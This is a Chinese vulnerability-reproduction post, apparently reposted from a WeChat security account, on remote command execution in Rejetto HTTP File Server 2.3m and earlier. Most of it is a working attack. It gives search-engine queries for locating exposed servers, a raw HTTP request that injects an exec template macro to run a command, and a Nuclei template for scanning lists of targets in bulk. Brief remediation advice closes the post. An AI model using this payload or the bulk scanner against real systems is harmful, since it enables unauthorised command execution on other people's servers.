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影响版本：Rejetto HTTP File Server <= 2.3m
- Fofa：
body="HttpFileServer"- Hunter
web.body="HttpFileServer"- Quake
body="HttpFileServer"
-
请求接口执行 ipconfig
GET /?n=%0A&cmd=ipconfig&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host: your-ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
-
Nuclei 批量检测POC -
所用方法 nuclei.exe -l 网址文件.txt -t POC.yaml
id: Rejetto_HTTP_File_Server_RCE
info:
name: Rejetto_HTTP_File_Server_RCE
author: security-xm
severity: high
description: Rejetto HTTP File Server 存在模板注入漏洞
metadata:
max-request: 1
shodan-query: ""
verified: true
http:
- raw:
- |+
@timeout: 30s
GET /?n=%0A&cmd=ipconfig&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
max-redirects: 3
matchers-condition: and
matchers:
- id: 1
type: word
part: body
words:
- Configuration
condition: and
-
在Web应用防火墙中添加接口临时黑名单规则 -
联系厂商打补丁或升级版本。
原文始发于微信公众号（小明信安）：【漏洞复现 | 含批量POC】Rejetto HTTP File Server 远程命令执行 漏洞
- 左青龙
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